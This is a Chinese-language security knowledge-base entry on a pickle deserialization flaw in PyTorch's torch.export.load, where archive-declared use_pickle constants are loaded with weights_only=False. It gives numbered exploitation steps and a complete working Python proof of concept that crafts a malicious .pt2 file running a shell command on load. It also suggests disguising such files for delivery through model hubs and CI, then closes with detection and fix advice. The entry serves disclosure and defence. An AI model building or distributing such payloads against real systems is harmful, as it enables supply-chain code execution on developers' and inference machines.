♧ Godown 安全知识树

PyTorch torch.export.load 加载 .pt2 常量配置 use_pickle=true:_load_constants 硬编码 weights_only=False 反序列化 RCE

ai-security/supply-chain · verified

一句话结论

.pt2 归档中的常量配置文件(*_constants_config.json)由文件自身声明每个常量的加载方式;只要某条记录的 path_name 以 tensor 开头且 use_pickle 为 true,torch.export.load() 内部的 _load_constants() 就会读取对应文件并执行 torch.load(io.BytesIO(bytes), weights_only=False),加载恶意 .pt2 即触发 pickle 反序列化任意代码执行,且公开 API 没有 weights_only 参数可供调用方关闭。

原理

  • torch.export.save() 生成的 .pt2 本质是 ZIP 归档,除模型结构、state_dict 外还保存“常量”(constants)及其配置。加载入口 torch.export.load(f) 调用 load_pt2(f),后者枚举归档条目后进入 _load_exported_programs(),再对每个模型调用 _load_constants(archive_reader, model_name)。
  • _load_constants() 读取 constants_config_file = CONSTANTS_CONFIG_FILENAME_FORMAT.format(model_name)(即 model_constants_config.json),解析 constants_config.config 中每个 constant_fqn 对应的 payload_meta,再依据 payload_meta.path_name 的前缀决定加载方式。
  • 漏洞分支的条件是:path_name.startswith(TENSOR_CONSTANT_FILENAME_PREFIX)(前缀为 tensor)且 payload_meta.use_pickle 为真。满足后代码读取 data/constants/<path_name> 的字节,并调用 torch.load(io.BytesIO(constant_bytes), weights_only=False)。weights_only=False 是硬编码常量,torch.export.load() 的签名中也没有该参数,调用方无法覆盖。
  • weights_only=False 使 torch.load 走完整 pickle 反序列化:pickle 在还原对象时执行对象 __reduce__() 返回的 callable 与参数,因此构造一个 __reduce__ 返回 (os.system, (cmd,)) 的对象并用 torch.save 序列化,即可在“加载常量”阶段执行任意命令。
  • 关键设计缺陷是“安全开关由不可信文件自己提供”:use_pickle 只是归档 JSON 中的普通布尔字段,而 path_name 也只是普通字符串;攻击者可以自由编辑两者。归档其余条目保持原模板内容,恶意常量只是额外插入的一条配置项;原文 PoC 截图显示 torch.export.load() 正常返回、进程退出码 0(未进一步验证返回对象的功能)。
  • 另一条相关分支 path_name.startswith(CUSTOM_OBJ_FILENAME_PREFIX) 会调用 torch._C._pickle_load_obj(constant_bytes),同样属于反序列化攻击面;本篇原文的 PoC 走 tensor + use_pickle 分支。
  • 原测试环境为 PyTorch 2.11.0.dev20260110,作者称该“最新版本仍存在此漏洞”,说明该路径尚未被默认安全策略覆盖。

触发条件

  • 受害者使用 torch.export.load() 加载来源不可信的 .pt2 文件(模型仓库下载、邮件附件、CI 制品、共享目录、推理服务挂载模型等)。
  • 目标 PyTorch 版本包含上述 _load_constants() 实现(原文实测 2.11.0.dev20260110)。
  • 归档内 model_constants_config.json 中存在 path_name 以 tensor 开头且 use_pickle: true 的记录,且 data/constants/ 下对应文件为恶意 pickle 字节。
  • 加载进程未被沙箱隔离,且运行用户具备命令执行权限(通常即开发者或推理节点权限)。

利用步骤

  1. 用官方 API 生成一个干净模板:定义简单 torch.nn.Module,调用 torch.export.export() 导出并 torch.export.save() 保存为 victim.pt2。
  2. 用 PT2ArchiveReader 打开模板,枚举条目,找到文件名以 _constants_config.json 结尾的配置并解析 JSON。
  3. 用 pickle(或 torch.save 配合 DEFAULT_PICKLE_PROTOCOL)序列化恶意对象:其 __reduce__() 返回 (exec, (payload_code,)) 或 (os.system, (cmd,))。
  4. 用 PT2ArchiveWriter 重新打包:复制除配置外的全部条目;把恶意字节写入 data/constants/tensor_666(文件名必须以 tensor 开头);在配置的 config 中插入一条记录:{path_name: "tensor_666", is_param: false, use_pickle: true, tensor_meta: null};写回配置文件。
  5. 受害者执行 torch.export.load("victim_malicious.pt2"):load_pt2 → _load_exported_programs → _load_constants 命中漏洞分支,torch.load(..., weights_only=False) 触发 __reduce__,命令执行。
  6. 验证:载荷写入标记文件(如 /tmp/pt2_pwned)或拉起计算器;即使后续反序列化模型结构时报错,命令已在 torch.load 阶段执行。

PoC

import io, json, os
import torch
import torch.nn as nn
from torch.export.pt2_archive import _package, constants

class Victim(nn.Module):
    def forward(self, x):
        return x + 1

# 1) 生成干净模板
ep = torch.export.export(Victim(), (torch.randn(1, 3, 224, 224),))
torch.export.save(ep, "victim.pt2")

# 2) 恶意 pickle:__reduce__ 返回可执行 callable
class UniversalPayload:
    def __reduce__(self):
        code = "import os; os.system('id > /tmp/pt2_pwned')"
        return (exec, (code,))

# 3) 重新打包并注入恶意常量
reader = _package.PT2ArchiveReader("victim.pt2")
files = reader.get_file_names()
cfg_name = [f for f in files if f.endswith("_constants_config.json")][0]
config = json.loads(reader.read_string(cfg_name))

with _package.PT2ArchiveWriter("victim_malicious.pt2") as writer:
    for name in files:
        if name != cfg_name:
            writer.write_bytes(name, reader.read_bytes(name))

    buf = io.BytesIO()
    torch.save(UniversalPayload(), buf,
               pickle_protocol=_package.DEFAULT_PICKLE_PROTOCOL)
    payload_path = constants.CONSTANTS_DIR + "tensor_666"
    writer.write_bytes(payload_path, buf.getvalue())

    config["config"]["exploit.constant"] = {
        "path_name": "tensor_666",      # 必须以 "tensor" 开头
        "is_param": False,
        "use_pickle": True,             # 触发 weights_only=False 分支
        "tensor_meta": None,
    }
    writer.write_string(cfg_name, json.dumps(config, indent=2))

# 4) 受害者侧触发
torch.export.load("victim_malicious.pt2")

变体与关联

  • 变体:常量文件名不必是 tensor_666,只要以 tensor 开头即可;可插入多条记录,或把 path_name 指向归档内任意路径的载荷。
  • 变体:把恶意 .pt2 伪装成正常导出/编译模型,通过模型市场、CI 制品、推理服务模型目录投递;归档保持结构合法,常规“能加载成功”检查无法发现。
  • 关联:[[ai-security-supply-chain-pytorch-export-load-use-pickle-rce]](同一 torch.export.load 体系,但走 model_weights_config.json + _load_state_dict 分支;本卡走 model_constants_config.json + _load_constants 且带 tensor 前缀条件)。
  • 关联:[[ai-security-supply-chain-pytorch-dcp-load-bytes-weights-only-pickle-rce]](分布式检查点 load_bytes 的同类 weights_only=False sink)、[[ai-security-supply-chain-llamafactory-value-head-torch-load-pickle-rce]](应用层裸调 torch.load)。
  • 边界:原文未给 CVE 编号;受影响范围仅有实测版本 2.11.0.dev20260110,其他版本需按 _load_constants 实现核对。

检测与防御

  • 检测:加载前解包 .pt2,审计 model_constants_config.json:拒绝任何 use_pickle: true 的记录,尤其是 path_name 以 tensor 开头的;检查 data/constants/ 下文件是否为合法张量格式而非 pickle 字节流(搜索 GLOBAL、STACK_GLOBAL、os.system、subprocess、socket 等 opcode/字符串)。
  • 修复:在 _load_constants 中把 torch.load(..., weights_only=False) 改为 weights_only=True,或直接拒绝归档声明的 use_pickle 分支;为 torch.export.load() 提供可覆盖且默认安全的 weights_only 参数。
  • 加固:把不可信 .pt2 视为可执行代码,在无网络、低权限、只读文件系统的容器/沙箱中加载;优先使用 safetensors 等纯权重格式;固定模型 revision 并校验 hash/签名。
  • 防御:模型仓库与 CI 对上传的 .pt2 做结构审计与 pickle 扫描;监控加载进程拉起 shell/计算器等异常子进程及异常出站连接。